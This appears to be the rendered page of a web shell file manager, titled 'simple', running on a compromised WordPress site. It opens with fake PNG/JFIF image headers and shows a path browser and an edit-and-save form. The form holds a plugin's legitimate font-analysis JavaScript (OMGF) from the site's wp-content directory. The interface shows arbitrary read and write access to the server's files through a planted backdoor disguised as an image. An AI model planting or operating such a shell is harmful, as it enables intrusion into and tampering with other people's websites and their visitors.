�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2F'>www.nib.st</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fplugins%2Fhost-webfonts-local%2F'>host-webfonts-local</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fplugins%2Fhost-webfonts-local%2Fassets%2F'>assets</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fplugins%2Fhost-webfonts-local%2Fassets%2Fjs%2F'>js</a>/</p><hr><h3>✏️ Editing: omgf-frontend.js</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/**
 * @package OMGF
 * @author Daan van den Bergh
 */
// Start measuring CLS as early as possible, before the load event.
let omgf_font_cls = 0;
let omgf_fonts_ready = false;
let omgf_dom_content_loaded = document.readyState !== &#039;loading&#039;;
let omgf_dom_content_loaded_time = omgf_dom_content_loaded ? performance.now() : 0;
let omgf_cls_supported = false;

if (!omgf_dom_content_loaded) {
	document.addEventListener(&#039;DOMContentLoaded&#039;, () =&gt; {
		omgf_dom_content_loaded = true;
		omgf_dom_content_loaded_time = performance.now();
	});
}

// Feature detect layout-shift support before observing.
try {
	let test_observer = new PerformanceObserver(() =&gt; {
	});
	test_observer.observe({type: &#039;layout-shift&#039;, buffered: false});
	test_observer.disconnect();
	omgf_cls_supported = true;
} catch (e) {
	// layout-shift not supported in this browser.
}

if (omgf_cls_supported &amp;&amp; typeof document.fonts !== &#039;undefined&#039; &amp;&amp; typeof document.fonts.ready !== &#039;undefined&#039;) {
	try {
		let omgf_cls_observer = new PerformanceObserver((list) =&gt; {
			list.getEntries().forEach((entry) =&gt; {
				// Only count shifts during the font swap window:
				// after DOMContentLoaded, before fonts.ready, without user input.
				if (!entry.hadRecentInput &amp;&amp; omgf_dom_content_loaded &amp;&amp; !omgf_fonts_ready &amp;&amp; entry.startTime &gt;= omgf_dom_content_loaded_time) {
					omgf_font_cls += entry.value;
				}
			});
		});
		omgf_cls_observer.observe({type: &#039;layout-shift&#039;, buffered: true});

		// Stop observer once fonts are ready.
		document.fonts.ready.then(() =&gt; {
			omgf_fonts_ready = true;
			omgf_cls_observer.disconnect();
		});
	} catch (e) {
		// Observer setup failed.
	}
}

window.addEventListener(&#039;load&#039;, () =&gt; {
	let omgf_frontend = {
		menu_item: document.getElementById(&#039;wp-admin-bar-omgf&#039;),
		sub_menu: document.getElementById(&#039;wp-admin-bar-omgf-default&#039;),
		skip_results: omgf_frontend_results.skip || false,

		/**
		 * Run it all.
		 *
		 * @return void
		 */
		init: async function () {
			let response = null;
			let missing_preloads = [];
			let unused_fonts = [];
			let status = null;

			try {
				let google_fonts = this.filterGoogleFonts();
				response = await this.getStatus(google_fonts);
				let unused_fonts_analysis = response.unused_fonts_analysis || {};
				unused_fonts = response.unused_fonts || [];
				let preload_analysis = response.preload_analysis || {};
				missing_preloads = response.missing_preloads || [];
				let cls_analysis = response.cls_analysis || {};
				status = response.status || null;

				// menu_item only exists if the logged-in user has the manage_options cap.
				if (this.menu_item !== null) {
					this.menu_item.classList.add(&#039;dot&#039;);

					if (status) {
						this.menu_item.classList.add(status);
					}
				}

				// If the alert is only caused by failed downloads, the Google Fonts Checker&#039;s alert text doesn&#039;t apply.
				let download_failures_only = status === &#039;alert&#039; &amp;&amp; response.download_failures &amp;&amp; !response.google_fonts_checker_alert;

				if (status !== &#039;success&#039; &amp;&amp; status !== &#039;warning&#039; &amp;&amp; !download_failures_only) {
					this.addInfoBox(status);
				}

				if (response.download_failures) {
					this.addInfoBox(&#039;download_failures&#039;, response);
				}

				if (omgf_frontend.skip_results) {
					return;
				}

				if (omgf_frontend_i18n.multilang_plugin_used) {
					let count = omgf_frontend_i18n.subsets_count;

					if (count &gt; 1) {
						let impact = omgf_frontend_i18n.info_box_impact_low;

						if (count === 3) {
							impact = omgf_frontend_i18n.info_box_impact_medium;
						} else if (count &gt; 3) {
							impact = omgf_frontend_i18n.info_box_impact_high;
						}

						let multilang_plugin = {
							&quot;name&quot;: omgf_frontend_i18n.multilang_plugin_name,
							&quot;subsets_count&quot;: count,
							&quot;impact&quot;: impact,
						}

						this.addInfoBox(&#039;multilang_plugin&#039;, multilang_plugin);
					}
				}

				if (unused_fonts_analysis &amp;&amp; unused_fonts_analysis.count) {
					this.addInfoBox(&#039;unload_notice&#039;, unused_fonts_analysis);
				}

				if (preload_analysis &amp;&amp; preload_analysis.potential_delay_ms &gt; 0 &amp;&amp; missing_preloads.length &gt; 0) {
					this.addInfoBox(&#039;preload_notice&#039;, preload_analysis, missing_preloads.length);
				}

				if (cls_analysis &amp;&amp; cls_analysis.cls &gt;= 0.01) {
					this.addInfoBox(&#039;cls_notice&#039;, cls_analysis);
				}

			} catch (error) {
				console.error(&#039;OMGF - Error running Google Fonts Checker:&#039;, error);
			} finally {
				document.dispatchEvent(new CustomEvent(&#039;omgf_frontend_loaded&#039;, {
					detail: {
						missing_preloads: missing_preloads,
						unused_fonts: unused_fonts,
						status: status,
					}
				}));
			}
		},

		/**
		 * Filter the list of entries for calls to the Google Fonts API for further processing.
		 *
		 * @since v6.3.9
		 *
		 * @return array
		 */
		filterGoogleFonts: () =&gt; {
			let entries = window.performance.getEntries();
			let google_fonts = entries.filter((entry) =&gt; {
				let is_google_fonts_css = entry.name.indexOf(&#039;/fonts.googleapis.com/css&#039;) &gt; 0 || entry.name.indexOf(&#039;/fonts.googleapis.com/icon&#039;) &gt; 0;
				let is_google_fonts_resource = entry.name.indexOf(&#039;/fonts.gstatic.com/&#039;) &gt; 0;

				if (is_google_fonts_resource) {
					/**
					 * Tighten the check for fonts.gstatic.com to only match actual font files.
					 *
					 * @since v6.3.9
					 */
					let is_font_file = /\.(woff2|woff|ttf|otf)(\?.*)?$/i.test(entry.name);
					let is_valid_initiator = !entry.initiatorType || [&#039;css&#039;, &#039;link&#039;, &#039;other&#039;].includes(entry.initiatorType);

					is_google_fonts_resource = is_font_file &amp;&amp; is_valid_initiator;
				}

				return is_google_fonts_css || is_google_fonts_resource;
			});

			if (google_fonts.length === 0) {
				return [];
			}

			console.log(&#039;OMGF has found the following Google Fonts API calls:&#039;);

			let urls = [];

			google_fonts.forEach((entry) =&gt; {
				urls.push(entry.name);

				console.log(&#039; - &#039; + entry.name);
			})

			return urls;
		},

		/**
		 * Normalizes a font-weight to the numeric value computed styles use, e.g. &#039;normal&#039; =&gt; &#039;400&#039; and &#039;bold&#039; =&gt; &#039;700&#039;.
		 * Ranges (e.g. &#039;100 900&#039; for variable fonts) are returned as-is.
		 *
		 * @param {string} weight
		 * @returns {string}
		 */
		normalizeFontWeight: function (weight) {
			weight = String(weight || &#039;400&#039;).trim().toLowerCase();

			if (weight === &#039;normal&#039;) {
				return &#039;400&#039;;
			}

			if (weight === &#039;bold&#039;) {
				return &#039;700&#039;;
			}

			return weight;
		},

		/**
		 * Checks if a font face is in a set of face IDs collected from computed styles (which always have a single,
		 * numeric weight). A font face with a weight range (i.e. a variable font) is used if any weight within the range is.
		 *
		 * @param {Set} face_ids
		 * @param {string} family
		 * @param {string} weight Normalized font-weight.
		 * @param {string} style
		 * @returns {boolean}
		 */
		isFaceUsed: function (face_ids, family, weight, style) {
			if (face_ids.has(`${family}-${weight}-${style}`.toLowerCase())) {
				return true;
			}

			let range = weight.split(/\s+/).map(Number);

			if (range.length !== 2 || range.some(isNaN)) {
				return false;
			}

			for (let face_id of face_ids) {
				let prefix = `${family}-`.toLowerCase();
				let suffix = `-${style}`.toLowerCase();

				if (!face_id.startsWith(prefix) || !face_id.endsWith(suffix)) {
					continue;
				}

				let used_weight = Number(face_id.slice(prefix.length, face_id.length - suffix.length));

				if (used_weight &gt;= range[0] &amp;&amp; used_weight &lt;= range[1]) {
					return true;
				}
			}

			return false;
		},

		/**
		 * The rules of cross-origin stylesheets can&#039;t be read, unless they were loaded with the crossorigin attribute. Most
		 * font CDNs send CORS headers though, so these stylesheets are fetched again (usually from the browser&#039;s cache)
		 * and parsed separately to find their @font-face rules.
		 *
		 * @param {string[]} hrefs
		 * @param {Map} font_face_url_map
		 * @param {Set} loaded_font_urls
		 * @returns {Promise&lt;void&gt;}
		 */
		extractCrossOriginFontFaceRules: async function (hrefs, font_face_url_map, loaded_font_urls) {
			if (typeof CSSStyleSheet === &#039;undefined&#039; || typeof CSSStyleSheet.prototype.replaceSync !== &#039;function&#039;) {
				return;
			}

			// Keep the analysis bounded.
			const max_sheets = 10;
			const timeout_ms = 3000;

			let unique_hrefs = [...new Set(hrefs)].slice(0, max_sheets);

			await Promise.all(unique_hrefs.map(async (href) =&gt; {
				let controller = typeof AbortController !== &#039;undefined&#039; ? new AbortController() : null;
				let timeout = controller ? setTimeout(() =&gt; controller.abort(), timeout_ms) : null;

				try {
					let response = await fetch(href, {
						mode: &#039;cors&#039;,
						credentials: &#039;omit&#039;,
						signal: controller ? controller.signal : undefined
					});

					if (!response.ok) {
						return;
					}

					let sheet = new CSSStyleSheet();

					// @import rules aren&#039;t supported (and ignored) in constructed stylesheets.
					sheet.replaceSync(await response.text());

					this.extractFontFaceRules(sheet.cssRules, { href: href }, font_face_url_map, loaded_font_urls);
				} catch (e) {
					// No CORS headers, a network error or a timeout: nothing we can do.
				} finally {
					if (timeout) {
						clearTimeout(timeout);
					}
				}
			}));
		},

		/**
		 * Helper to get property value from a CSSRule, with fallback for Firefox.
		 *
		 * @param {CSSRule} rule
		 * @param {string} property
		 * @returns {string|null}
		 */
		getFontFaceProperty: function (rule, property) {
			let value = rule.style.getPropertyValue(property);

			if (value) {
				return value.replace(/[&quot;&#039;]/g, &#039;&#039;).trim();
			}

			// Fallback: parse cssText (needed for Firefox)
			let match = rule.cssText.match(new RegExp(property + &#039;\\s*:\\s*([^;]+)&#039;, &#039;i&#039;));

			return match ? match[1].replace(/[&quot;&#039;]/g, &#039;&#039;).trim() : null;
		},

		/**
		 * @param {CSSRuleList} rules
		 * @param {CSSStyleSheet} sheet
		 * @param {Map} font_face_url_map
		 * @param {Set} loaded_font_urls
		 */
		extractFontFaceRules: function (rules, sheet, font_face_url_map, loaded_font_urls) {
			for (let j = 0; j &lt; rules.length; j++) {
				let rule = rules[j];

				// Recurse into @import rules.
				if (rule.type === CSSRule.IMPORT_RULE &amp;&amp; rule.styleSheet) {
					let imported_rules = rule.styleSheet.cssRules || rule.styleSheet.rules;
					if (imported_rules) {
						this.extractFontFaceRules(imported_rules, rule.styleSheet, font_face_url_map, loaded_font_urls);
					}
				}

				if (rule.constructor.name === &#039;CSSFontFaceRule&#039; || rule.type === CSSRule.FONT_FACE_RULE) {
					let rule_family = this.getFontFaceProperty(rule, &#039;font-family&#039;);
					let rule_weight = this.getFontFaceProperty(rule, &#039;font-weight&#039;) || &#039;400&#039;;
					let rule_style = this.getFontFaceProperty(rule, &#039;font-style&#039;) || &#039;normal&#039;;

					rule_weight = this.normalizeFontWeight(rule_weight);

					let src = rule.style.getPropertyValue(&#039;src&#039;) || rule.style.src;
					if (!src) src = this.getFontFaceProperty(rule, &#039;src&#039;);

					let match = src ? src.match(/url\([&quot;&#039;]?([^&quot;&#039;)]+\.woff2[^&quot;&#039;)]*?)[&quot;&#039;]?\)/) : null;

					// Fallback to any font URL if no woff2 found.
					if (!match) {
						match = src ? src.match(/url\([&quot;&#039;]?([^&quot;&#039;)]+)[&quot;&#039;]?\)/) : null;
					}

					if (!match) continue;

					let candidate_url = new URL(match[1], sheet.href || document.baseURI).href;
					let unicode_range = rule.style.getPropertyValue(&#039;unicode-range&#039;) || &#039;&#039;;
					let key = `${rule_family}-${rule_weight}-${rule_style}${unicode_range ? &#039;-&#039; + unicode_range : &#039;&#039;}`.toLowerCase();

					// Pass 1: fallback to the first valid candidate URL.
					if (!font_face_url_map.has(key)) {
						font_face_url_map.set(key, candidate_url);
					}

					// Pass 2: prefer loaded URL.
					if (loaded_font_urls.has(candidate_url)) {
						font_face_url_map.set(key, candidate_url);
					}
				}
			}
		},

		/**
		 * Stores google_fonts in the DB and retrieves the status to be added to the admin bar classList.
		 *
		 * @param google_fonts
		 * @returns {*}
		 */
		getStatus: async function (google_fonts) {
			const urlSearchParams = new URLSearchParams(window.location.search);
			const params = Object.fromEntries(urlSearchParams.entries());
			let missing_preloads = [];
			let unused_fonts = [];

			if (typeof document.fonts !== &#039;undefined&#039; &amp;&amp; typeof document.fonts.ready !== &#039;undefined&#039;) {
				await document.fonts.ready;

				let preloaded_fonts = [];
				let links = document.head.querySelectorAll(&#039;link[rel=&quot;preload&quot;][as=&quot;font&quot;]&#039;);

				links.forEach((link) =&gt; {
					preloaded_fonts.push(link.href);
				});

				let used_faces_above_the_fold = new Set();
				let used_faces_not_rendered = new Set();

				/**
				 * Both Missing Preloads and Unused Font Faces should detect font faces.
				 *
				 * Missing Preloads only scans Above The Fold. Unused Font Faces scans elements which aren&#039;t
				 * laid out (e.g. inside a collapsed tab, accordion or modal): those never trigger a font
				 * load, so the browser&#039;s font status can&#039;t tell us whether they&#039;d need one. For elements
				 * which are laid out, the font status is authoritative, and including those here would
				 * keep every unused subset of a font that&#039;s used elsewhere on the page.
				 */
				const elements = document.querySelectorAll(&#039;body *:not(#wpadminbar):not(#wpadminbar *)&#039;);
				const scan_limit = 1500; // keep analysis bounded on very large DOMs
				for (let i = 0; i &lt; elements.length &amp;&amp; i &lt; scan_limit; i++) {
					const element = elements[i];

					let rect = element.getBoundingClientRect();
					let style = window.getComputedStyle(element);
					let family = style.fontFamily.replace(/[&quot;&#039;]/g, &#039;&#039;);
					let weight = style.fontWeight;
					let font_style = style.fontStyle;

					// If the element is in the viewport.
					let in_viewport = rect.top &lt; window.innerHeight &amp;&amp; rect.bottom &gt; 0 &amp;&amp; rect.left &lt; window.innerWidth &amp;&amp; rect.right &gt; 0;
					// An element without a box isn&#039;t laid out, so it never rendered any text.
					let is_rendered = rect.width &gt; 0 || rect.height &gt; 0;

					// Handle font-family stacks (e.g. &quot;Open Sans&quot;, sans-serif).
					family.split(&#039;,&#039;).forEach((font) =&gt; {
						font = font.trim();
						let face_id = `${font}-${weight}-${font_style}`.toLowerCase();

						if (in_viewport) {
							used_faces_above_the_fold.add(face_id);
						}

						if (!is_rendered) {
							used_faces_not_rendered.add(face_id);
						}
					});

					[&#039;::before&#039;, &#039;::after&#039;].forEach((pseudo) =&gt; {
						let pseudo_style = window.getComputedStyle(element, pseudo);
						let pseudo_family = pseudo_style.fontFamily.replace(/[&quot;&#039;]/g, &#039;&#039;);
						let pseudo_weight = pseudo_style.fontWeight;
						let pseudo_font_style = pseudo_style.fontStyle;

						pseudo_family.split(&#039;,&#039;).forEach((font) =&gt; {
							font = font.trim();
							let face_id = `${font}-${pseudo_weight}-${pseudo_font_style}`.toLowerCase();

							if (in_viewport) {
								used_faces_above_the_fold.add(face_id);
							}

							if (!is_rendered) {
								used_faces_not_rendered.add(face_id);
							}
						});
					});
				}

				let loaded_font_urls = new Set(
					window.performance.getEntriesByType(&#039;resource&#039;)
						.filter(e =&gt; e.name.match(/\.(woff2?|ttf|otf)(\?.*)?$/i))
						.map(e =&gt; e.name)
				);

				// Build font face URL map once.
				let font_face_url_map = new Map();

				let cross_origin_sheets = [];

				for (let i = 0; i &lt; document.styleSheets.length; i++) {
					let sheet = document.styleSheets[i];

					try {
						let rules = sheet.cssRules || sheet.rules;
						if (!rules) continue;

						this.extractFontFaceRules(rules, sheet, font_face_url_map, loaded_font_urls);
					} catch (e) {
						// The rules of cross-origin stylesheets (loaded without the crossorigin attribute) can&#039;t be read.
						if (sheet.href) {
							cross_origin_sheets.push(sheet.href);
						}
					}
				}

				await this.extractCrossOriginFontFaceRules(cross_origin_sheets, font_face_url_map, loaded_font_urls);

				document.fonts.forEach((font) =&gt; {
					let family = font.family.replace(/[&quot;&#039;]/g, &#039;&#039;);
					// Font faces often define keywords (e.g. icon fonts use &#039;normal&#039;), while computed styles are always numeric.
					let weight = this.normalizeFontWeight(font.weight);
					let style = font.style;
					let face_id = `${family}-${weight}-${style}`.toLowerCase();
					let face_id_with_range = `${face_id}-${(font.unicodeRange || &#039;&#039;)}`.toLowerCase();
					let font_url = font_face_url_map.get(face_id_with_range) || font_face_url_map.get(face_id);

					/**
					 * Scenario 2: Missing Preloads
					 *
					 * Check if any loaded fonts that are used above the fold are not preloaded.
					 */
					if (font.status === &#039;loaded&#039; &amp;&amp; font_url &amp;&amp; this.isFaceUsed(used_faces_above_the_fold, family, weight, style)) {
						let is_preloaded = preloaded_fonts.some((url) =&gt; {
							// If we have the actual font URL, use it for exact matching.
							if (font_url &amp;&amp; url === font_url) {
								return true;
							}

							let normalized_family = family.toLowerCase().replace(/\s/g, &#039;-&#039;);
							let url_lower = url.toLowerCase();
							// Use regex with word boundaries or check for the exact segment match
							let pattern = new RegExp(&#039;(^|[/_-])&#039; + normalized_family.replace(/[.*+?^${}()|[\]\\]/g, &#039;\\$&amp;&#039;) + &#039;([./_-]|$)&#039;, &#039;i&#039;);

							return pattern.test(url_lower);
						});

						if (!is_preloaded &amp;&amp; !missing_preloads.some(f =&gt; f.family === family &amp;&amp; f.url === font_url)) {
							missing_preloads.push({
								family: family,
								weight: weight,
								style: style,
								url: font_url
							});
						}
					}

					/**
					 * Scenario 3: Unused Fonts
					 *
					 * A font face is considered unused if it&#039;s explicitly defined in the stylesheet, but the browser never loaded it (status === &#039;unloaded&#039;).
					 *
					 * The face IDs collected from computed styles never contain a unicode-range, so they&#039;re
					 * compared against face_id (and not face_id_with_range). Otherwise this check would always
					 * pass for font faces defining a unicode-range, and font faces which are referenced by
					 * elements that aren&#039;t rendered yet (e.g. tabs, accordions and modals) would be unloaded.
					 */
					if (font.status === &#039;unloaded&#039; &amp;&amp; !this.isFaceUsed(used_faces_not_rendered, family, weight, style) &amp;&amp; font_url) {
						unused_fonts.push({
							family: family,
							weight: weight,
							style: style,
							url: font_url,
							unicode_range: font.unicodeRange
						});
					}
				});
			}

			const unused_fonts_analysis = this.analyzeUnusedFonts(unused_fonts);
			const preload_analysis = await this.analyzePreloadImpact(missing_preloads);
			const cls_analysis = this.analyzeCLS(omgf_font_cls);

			let data = new FormData();
			data.append(&#039;path&#039;, document.location.pathname);
			data.append(&#039;urls&#039;, JSON.stringify(google_fonts));
			data.append(&#039;params&#039;, JSON.stringify(params));
			data.append(&#039;unused_fonts_analysis&#039;, JSON.stringify(unused_fonts_analysis));
			data.append(&#039;preload_analysis&#039;, JSON.stringify(preload_analysis));
			data.append(&#039;cls_analysis&#039;, JSON.stringify(cls_analysis));

			return await omgf_frontend.ajax(data).then(response =&gt; {
				if (response) {
					response.unused_fonts_analysis = unused_fonts_analysis;
					response.unused_fonts = unused_fonts;
					response.preload_analysis = preload_analysis;
					response.missing_preloads = missing_preloads;
					response.cls_analysis = cls_analysis;
				}

				return response;
			});
		},

		/**
		 * @param {Array} faces
		 * @param {Array} font_resources
		 * @param {Function} callback
		 */
		forEachMatchingResources: function (faces, font_resources, callback) {
			faces.forEach((face) =&gt; {
				let family = face.family;
				let font_url = face.url;
				let normalized_family = family.toLowerCase().replace(/\s/g, &#039;-&#039;);

				let matching_entries = font_resources.filter((entry) =&gt; {
					let url_lower = entry.name.toLowerCase();

					// If we have an exact URL match, prioritize it.
					if (font_url &amp;&amp; entry.name === font_url) {
						return true;
					}

					let pattern = new RegExp(&#039;(^|[/_-])&#039; + normalized_family.replace(/[.*+?^${}()|[\]\\]/g, &#039;\\$&amp;&#039;) + &#039;([./_-]|\\.|$)&#039;, &#039;i&#039;);

					if (!pattern.test(url_lower)) {
						return false;
					}

					// If we only have a family (e.g. for preload check), stop here.
					if (typeof face.weight === &#039;undefined&#039;) {
						return true;
					}

					/**
					 * For unused font analysis, we want to match the specific face (weight/style).
					 */
					let weight = face.weight;
					let style = face.style;

					// Map common font weight names to numbers if needed (document.fonts already uses numbers mostly)
					// Handle cases like &quot;normal&quot;, &quot;bold&quot;, etc.
					if (weight === &#039;normal&#039;) weight = &#039;400&#039;;
					if (weight === &#039;bold&#039;) weight = &#039;700&#039;;

					// Check if the URL contains the weight.
					let weight_pattern = new RegExp(`[./_-]${weight}([./_-]|\\.|$)`, &#039;i&#039;);

					// Check for italic.
					let style_match = true;

					if (style === &#039;italic&#039;) {
						// Match &#039;italic&#039;, &#039;-i.woff&#039;, &#039;_i.woff&#039;, or common patterns like &#039;400i.woff&#039;
						style_match = url_lower.includes(&#039;italic&#039;) || /[._-]i\.(woff|woff2|ttf|otf)/.test(url_lower) || /\d{3}i\.(woff|woff2|ttf|otf)/.test(url_lower);
					} else if (style === &#039;normal&#039;) {
						style_match = !url_lower.includes(&#039;italic&#039;);
					}

					return weight_pattern.test(url_lower) &amp;&amp; style_match;
				});

				matching_entries.forEach((matching_entry) =&gt; {
					callback(matching_entry, family);
				});
			});
		},

		/**
		 * @returns {Array}
		 */
		getFontResources: function () {
			let entries = window.performance.getEntriesByType(&quot;resource&quot;);
			return entries.filter((entry) =&gt; {
				return entry.name.match(/\.(woff|woff2|ttf|otf)(\?.*)?$/i);
			});
		},

		/**
		 * Analyze unused fonts for impact.
		 *
		 * @param {Array} unused_faces
		 * @returns {Object}
		 */
		analyzeUnusedFonts: function (unused_faces) {
			if (unused_faces.length === 0) {
				return {};
			}

			let count = unused_faces.length;
			let impact = omgf_frontend_i18n.info_box_impact_low;

			if (count &gt; 6) {
				impact = omgf_frontend_i18n.info_box_impact_high;
			} else if (count &gt;= 3) {
				impact = omgf_frontend_i18n.info_box_impact_medium;
			}

			return {
				count: count,
				impact: impact
			};
		},

		analyzeCLS: function (cls) {
			const MIN_CLS_THRESHOLD = 0.01;
			let impact = omgf_frontend_i18n.info_box_impact_low;
			let rounded_cls = Math.round(cls * 1000) / 1000;

			if (rounded_cls &lt; MIN_CLS_THRESHOLD) {
				return {};
			}

			if (rounded_cls &gt; 0.1) {
				impact = omgf_frontend_i18n.info_box_impact_medium;
			}

			if (rounded_cls &gt; 0.25) {
				impact = omgf_frontend_i18n.info_box_impact_high;
			}

			return {
				cls: rounded_cls,
				impact: impact,
			}
		},

		/**
		 * Analyze missing preloads for impact on LCP.
		 *
		 * @param {Array} missing_preloads
		 * @returns {Promise&lt;Object&gt;}
		 */
		analyzePreloadImpact: async function (missing_preloads) {
			if (missing_preloads.length === 0) {
				return {};
			}

			let result = {
				affects_lcp: false,
				potential_delay_ms: 0,
				impact: omgf_frontend_i18n.info_box_impact_low
			};

			try {
				let lcp_entry = await new Promise((resolve) =&gt; {
					let observer = new PerformanceObserver((list) =&gt; {
						let entries = list.getEntries();
						let last_entry = entries[entries.length - 1];
						observer.disconnect();
						resolve(last_entry);
					});
					observer.observe({type: &#039;largest-contentful-paint&#039;, buffered: true});

					// Timeout after 2 seconds if no LCP found.
					setTimeout(() =&gt; {
						observer.disconnect();
						resolve(null);
					}, 2000);
				});

				if (!lcp_entry) {
					return result;
				}

				// Determine if LCP element contains visible text.
				let lcp_element = lcp_entry.element;
				let has_text = false;

				if (lcp_element) {
					has_text = (typeof lcp_element.innerText === &#039;string&#039; &amp;&amp; lcp_element.innerText.trim().length &gt; 0)
						|| (typeof lcp_element.textContent === &#039;string&#039; &amp;&amp; lcp_element.textContent.trim().length &gt; 0);
				}

				if (!has_text) {
					return result;
				}

				let font_resources = this.getFontResources();
				let max_delay = 0;

				this.forEachMatchingResources(missing_preloads, font_resources, (matching_entry) =&gt; {
					let delay = matching_entry.responseEnd - matching_entry.startTime;
					if (delay &gt; 0) {
						result.affects_lcp = true;
						if (delay &gt; max_delay) {
							max_delay = delay;
						}
					}
				});

				result.potential_delay_ms = Math.round(max_delay);

				// Ignore results under 5ms.
				if (result.potential_delay_ms &lt;= 5) {
					return {};
				}

				if (result.potential_delay_ms &gt; 100) {
					result.impact = omgf_frontend_i18n.info_box_impact_high;
				} else if (result.potential_delay_ms &gt; 20) {
					result.impact = omgf_frontend_i18n.info_box_impact_medium;
				}
			} catch (e) {
				console.warn(&#039;OMGF - Error analyzing preload impact:&#039;, e);
				return {};
			}

			return result;
		},

		/**
		 * Do AJAX request.
		 *
		 * @param data
		 *
		 * @return object
		 */
		ajax: function (data) {
			return fetch(
				omgf_frontend_i18n.api_url,
				{
					method: &#039;POST&#039;,
					credentials: &#039;same-origin&#039;,
					headers: {
						&#039;X-WP-Nonce&#039;: omgf_frontend_i18n.nonce,
					},
					body: data,
				}
			).then(response =&gt; response.ok ? response.json() : false);
		},

		/**
		 * Adds the info box to the submenu.
		 */
		addInfoBox: function (status, data, count) {
			let info_box = document.createElement(&#039;li&#039;);
			info_box.id = &#039;wp-admin-bar-omgf-info&#039;;

			if (status === &#039;alert&#039;) {
				info_box.innerHTML = `&lt;a class=&quot;ab-item&quot; href=&quot;${omgf_frontend_i18n.info_box_admin_url}&quot;&gt;${omgf_frontend_i18n.info_box_alert_text}&lt;/a&gt;`;
			}

			if (status === &#039;notice&#039;) {
				info_box.innerHTML = `&lt;a class=&quot;ab-item&quot; href=&quot;${omgf_frontend_i18n.info_box_admin_url}&quot;&gt;${omgf_frontend_i18n.info_box_notice_text}&lt;/a&gt;`;
			}

			if (status === &#039;multilang_plugin&#039;) {
				info_box.id = &#039;wp-admin-bar-omgf-multilang-info&#039;;
				let text = omgf_frontend.sprintf(omgf_frontend_i18n.info_box_multilang_plugin_text, omgf_frontend_i18n.multilang_plugin_name, data.subsets_count, data.impact);
				info_box.innerHTML = `&lt;a class=&quot;ab-item&quot; href=&quot;${omgf_frontend_i18n.info_box_admin_url}&quot;&gt;${text}&lt;/a&gt;`;
			}

			if (status === &#039;unload_notice&#039;) {
				info_box.id = &#039;wp-admin-bar-omgf-unload-info&#039;;
				let text = omgf_frontend.sprintf(omgf_frontend_i18n.info_box_unload_text, data.count || 0, data.impact || omgf_frontend_i18n.info_box_impact_low);
				info_box.innerHTML = `&lt;a class=&quot;ab-item&quot; href=&quot;${omgf_frontend_i18n.info_box_admin_url}&quot;&gt;${text}&lt;/a&gt;`;
			}

			if (status === &#039;preload_notice&#039;) {
				info_box.id = &#039;wp-admin-bar-omgf-preload-info&#039;;
				let text = omgf_frontend.sprintf(omgf_frontend_i18n.info_box_preload_text, count || 0, data.potential_delay_ms || 0, data.impact || omgf_frontend_i18n.info_box_impact_low);
				info_box.innerHTML = `&lt;a class=&quot;ab-item&quot; href=&quot;${omgf_frontend_i18n.info_box_admin_url}&quot;&gt;${text}&lt;/a&gt;`;
			}

			if (status === &#039;download_failures&#039;) {
				info_box.id = &#039;wp-admin-bar-omgf-download-failures&#039;;
				info_box.classList.add(&#039;alert&#039;);

				let link = document.createElement(&#039;a&#039;);
				link.className = &#039;ab-item&#039;;
				link.href = omgf_frontend_i18n.info_box_admin_url;
				link.textContent = data.download_failures_text || &#039;&#039;;
				info_box.appendChild(link);
			}

			if (status === &#039;cls_notice&#039;) {
				info_box.id = &#039;wp-admin-bar-omgf-cls-info&#039;;
				let text = omgf_frontend.sprintf(omgf_frontend_i18n.info_box_cls_text, data.cls, data.impact);
				info_box.innerHTML = `&lt;a class=&quot;ab-item&quot; href=&quot;${omgf_frontend_i18n.info_box_admin_url}&quot;&gt;${text}&lt;/a&gt;`;
			}

			if (status === &#039;cls_notice&#039; || status === &#039;unload_notice&#039; || status === &#039;preload_notice&#039; || status === &#039;multilang_plugin&#039;) {
				info_box.classList.add(&#039;info&#039;);
			}

			if (status === &#039;info&#039; &amp;&amp; omgf_frontend_i18n.first_run) {
				document.getElementById(&#039;wp-admin-bar-omgf-optimize-this&#039;)?.classList.add(&#039;info&#039;);
			}

			if (!omgf_frontend.sub_menu) {
				return;
			}

			omgf_frontend.sub_menu.prepend(info_box);
		},

		/**
		 * Sprintf JS polyfill.
		 *
		 * @param str
		 * @returns {*}
		 */
		sprintf: function (str) {
			let args = arguments, i = 1;

			return str.replace(/%(s|d|0\d+d)/g, function (x, type) {
				let value = args[i++];
				switch (type) {
					case &#039;s&#039;:
						return value;
					case &#039;d&#039;:
						return parseInt(value, 10);
					default: {
						value = String(parseInt(value, 10));
						const n = Number(type.slice(1, -1));
						return &#039;0&#039;.repeat(n).slice(value.length) + value;
					}
				}
			});
		}
	}

	// Make sure we&#039;ve collected all resources before continuing.
	let entries = window.performance.getEntries();
	let attempts = 0;
	const MAX_ATTEMPTS = 20;
	let interval = setInterval(() =&gt; {
		attempts++;

		if (entries.length &lt; window.performance.getEntries().length) {
			entries = window.performance.getEntries();
		}

		if (entries.length === window.performance.getEntries().length || attempts &gt;= MAX_ATTEMPTS) {
			clearInterval(interval);

			omgf_frontend.init();
		}
	}, 500);
});

</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fplugins%2Fhost-webfonts-local%2Fassets%2Fjs'>🔙 Back</a></p>